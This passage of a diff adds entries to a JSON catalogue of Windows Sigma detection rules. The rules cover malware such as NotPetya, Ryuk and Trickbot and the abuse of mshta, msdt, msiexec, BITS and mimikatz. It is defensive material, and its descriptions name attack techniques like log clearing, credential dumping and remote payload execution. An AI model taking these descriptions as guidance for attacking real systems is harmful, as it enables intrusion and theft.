"attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18", + "value": "Emotet Process Creation" + }, + { + "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", + "meta": { + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/09/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_malware_formbook.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", + "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", + "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", + "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ] + }, + "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", + "value": "Formbook Process Creation" + }, + { + "description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", + "meta": { + "author": "Florian Roth, Tom Ueltschi", + "creation_date": "2019/01/16", + "falsepositive": [ + "Admin activity" + ], + "filename": "proc_creation_win_malware_notpetya.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/schroedingers-petya/78870/", + "https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_notpetya.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.t1070.001", + "attack.credential_access", + "attack.t1003.001", + "car.2016-04-002" + ] + }, + "uuid": "79aeeb41-8156-4fac-a0cd-076495ab82a1", + "value": "NotPetya Ransomware Activity" + }, + { + "description": "Detects QBot like process executions", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/01", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_malware_qbot.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/killamjr/status/1179034907932315648", + "https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_qbot.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ] + }, + "uuid": "4fcac6eb-0287-4090-8eea-2602e4c20040", + "value": "QBot Process Creation" + }, + { + "description": "Detects Ryuk ransomware activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/16", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_malware_ryuk.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", + "value": "Ryuk Ransomware" + }, + { + "description": "Detects wscript/cscript executions of scripts located in user directories", + "meta": { + "author": "Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community", + "creation_date": "2019/01/16", + "falsepositive": [ + "Winzip", + "Other self-extractors" + ], + "filename": "proc_creation_win_malware_script_dropper.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "cea72823-df4d-4567-950c-0b579eaf0846", + "value": "WScript or CScript Dropper" + }, + { + "description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", + "meta": { + "author": "David Burkett, Florian Roth", + "creation_date": "2019/12/28", + "falsepositive": [ + "Rare System Admin Activity" + ], + "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ] + }, + "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", + "value": "Trickbot Malware Recon Activity" + }, + { + "description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_malware_trickbot_wermgr.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559" + ] + }, + "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", + "value": "Trickbot Malware Activity" + }, + { + "description": "Detects WannaCry ransomware activity", + "meta": { + "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_malware_wannacry.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "attack.discovery", + "attack.t1083", + "attack.defense_evasion", + "attack.t1222.001", + "attack.impact", + "attack.t1486", + "attack.t1490" + ] + }, + "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", + "value": "WannaCry Ransomware" + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "meta": { + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2017/11/10", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_mal_adwind.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", + "value": "Adwind RAT / JRAT" + }, + { + "description": "Attempts to detect system changes made by Blue Mockingbird", + "meta": { + "author": "Trent Liffick (@tliffick)", + "creation_date": "2020/05/14", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_mal_blue_mockingbird.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_blue_mockingbird.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112", + "attack.t1047" + ] + }, + "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", + "value": "Blue Mockingbird" + }, + { + "description": "Detects DarkSide Ransomware and helpers", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/14", + "falsepositive": [ + "Unknown", + "UAC bypass method used by other malware" + ], + "filename": "proc_creation_win_mal_darkside_ransomware.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", + "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ] + }, + "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", + "value": "DarkSide Ransomware Pattern" + }, + { + "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_mal_hermetic_wiper_activity.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1021.001" + ] + }, + "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", + "value": "Hermetic Wiper TG Process Patterns" + }, + { + "description": "Detects LockerGoga Ransomware command line.", + "meta": { + "author": "Vasiliy Burov, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_mal_lockergoga_ransomware.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", + "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", + "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ] + }, + "uuid": "74db3488-fd28-480a-95aa-b7af626de068", + "value": "LockerGoga Ransomware" + }, + { + "description": "Detects Ryuk Ransomware command lines", + "meta": { + "author": "Vasiliy Burov", + "creation_date": "2019/08/06", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_mal_ryuk.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ] + }, + "uuid": "0acaad27-9f02-4136-a243-c357202edd74", + "value": "Ryuk Ransomware" + }, + { + "description": "Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_manage_bde_lolbas.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", + "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", + "https://twitter.com/bohops/status/980659399495741441", + "https://twitter.com/JohnLaTwC/status/1223292479270600706", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ] + }, + "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda", + "value": "Suspicious Usage of the Manage-bde.wsf Script" + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", + "meta": { + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "creation_date": "2019/10/26", + "falsepositive": [ + "Commandlines containing components like cmd accidentally", + "Jobs and services started with cmd" + ], + "filename": "proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ] + }, + "uuid": "15619216-e993-4721-b590-4c520615a67d", + "value": "Meterpreter or Cobalt Strike Getsystem Service Start" + }, + { + "description": "Detection well-known mimikatz command line arguments", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", + "creation_date": "2019/10/22", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "filename": "proc_creation_win_mimikatz_command_line.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mimikatz_command_line.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006" + ] + }, + "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d", + "value": "Mimikatz Command Line" + }, + { + "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", + "meta": { + "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", + "creation_date": "2020/03/04", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_mmc20_lateral_movement.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml" + ], + "tags": [ + "attack.execution", + "attack.t1021.003" + ] + }, + "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd", + "value": "MMC20 Lateral Movement" + }, + { + "description": "Detects a Windows command line executable started from MMC", + "meta": { + "author": "Karneades, Swisscom CSIRT", + "creation_date": "2019/08/05", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_mmc_spawn_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.003" + ] + }, + "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d", + "value": "MMC Spawning Windows Shell" + }, + { + "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_modify_group_policy_settings.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modify_group_policy_settings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484.001" + ] + }, + "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d", + "value": "Modify Group Policy Settings" + }, + { + "description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", + "meta": { + "author": "Sreeman", + "creation_date": "2020/09/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_modif_of_services_for_via_commandline.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modif_of_services_for_via_commandline.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.003", + "attack.t1574.011" + ] + }, + "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df", + "value": "Modification Of Existing Services For Persistence" + }, + { + "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", + "meta": { + "author": "Sreeman", + "creation_date": "2020/10/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_monitoring_for_persistence_via_bits.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", + "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1197" + ] + }, + "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d", + "value": "Monitoring For Persistence Via BITS" + }, + { + "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", + "meta": { + "author": "Cian Heasley", + "creation_date": "2020/08/13", + "falsepositive": [ + "Legitimate uses of Mouse Lock software" + ], + "filename": "proc_creation_win_mouse_lock.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", + "https://sourceforge.net/projects/mouselock/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml" + ], + "tags": [ + "attack.credential_access", + "attack.collection", + "attack.t1056.002" + ] + }, + "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3", + "value": "Mouse Lock Credential Gathering" + }, + { + "description": "Detects file execution using the msdeploy.exe lolbin", + "meta": { + "author": "Beyu Denis, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "System administrator Usage" + ], + "filename": "proc_creation_win_msdeploy.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", + "https://twitter.com/pabraeken/status/995837734379032576", + "https://twitter.com/pabraeken/status/999090532839313408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34", + "value": "Execute Files with Msdeploy.exe" + }, + { + "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", + "meta": { + "author": "Nasreddine Bencherchali (rule)", + "creation_date": "2022/05/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_msdt.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://twitter.com/_JohnHammond/status/1531672601067675648", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5", + "value": "Execute Arbitrary Commands Using MSDT.EXE" + }, + { + "description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", + "meta": { + "author": "GossiTheDog (rule), frack113 (sigma version)", + "creation_date": "2022/06/09", + "falsepositive": [ + "Legitimate usage of \".diagcab\" files" + ], + "filename": "proc_creation_win_msdt_diagcab.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "6545ce61-a1bd-4119-b9be-fcbee42c0cf3", + "value": "Execute MSDT.EXE Using Diagcab File" + }, + { + "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/21", + "falsepositive": [ + "Legitimate usage of \".diagcab\" files" + ], + "filename": "proc_creation_win_msdt_susp_cab_options.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1537896324837781506", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", + "value": "MSDT.EXE Execution With Suspicious Cab Option" + }, + { + "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", + "meta": { + "author": "Nextron Systems", + "creation_date": "2022/06/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_msdt_susp_parent.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1218" + ] + }, + "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734", + "value": "MSDT Executed with Suspicious Parent" + }, + { + "description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)" + ], + "filename": "proc_creation_win_msedge_minimized_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1478234484881436672?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6", + "value": "Suspicious Minimized MSEdge Start" + }, + { + "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_mshta_http.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.005" + ] + }, + "uuid": "b98d0db6-511d-45de-ad02-e82a98729620", + "value": "Mshta Remotely Hosted HTA File Execution" + }, + { + "description": "Identifies suspicious mshta.exe commands.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_mshta_javascript.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005" + ] + }, + "uuid": "67f113fa-e23d-4271-befa-30113b3e08b1", + "value": "Mshta JavaScript Execution" + }, + { + "description": "Detects a Windows command line executable started from MSHTA", + "meta": { + "author": "Michael Haag", + "creation_date": "2019/01/16", + "falsepositive": [ + "Printer software / driver installations", + "HP software" + ], + "filename": "proc_creation_win_mshta_spawn_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trustedsec.com/july-2015/malicious-htas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_spawn_shell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005", + "car.2013-02-003", + "car.2013-03-001", + "car.2014-04-003" + ] + }, + "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca", + "value": "MSHTA Spawning Windows Shell" + }, + { + "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", + "meta": { + "author": "frack113", + "creation_date": "2022/04/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_msiexec_dll.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ] + }, + "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8", + "value": "Suspicious Msiexec Load DLL" + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", + "meta": { + "author": "frack113", + "creation_date": "2022/04/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_msiexec_embedding.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml" + ], + "tags": [ + "attack.t1218.007", + "attack.defense_evasion" + ] + }, + "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469", + "value": "Suspicious MsiExec Embedding Parent" + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/16", + "falsepositive": [ + "Legitimate script" + ], + "filename": "proc_creation_win_msiexec_execute_dll.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ] + }, + "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d", + "value": "Suspicious Msiexec 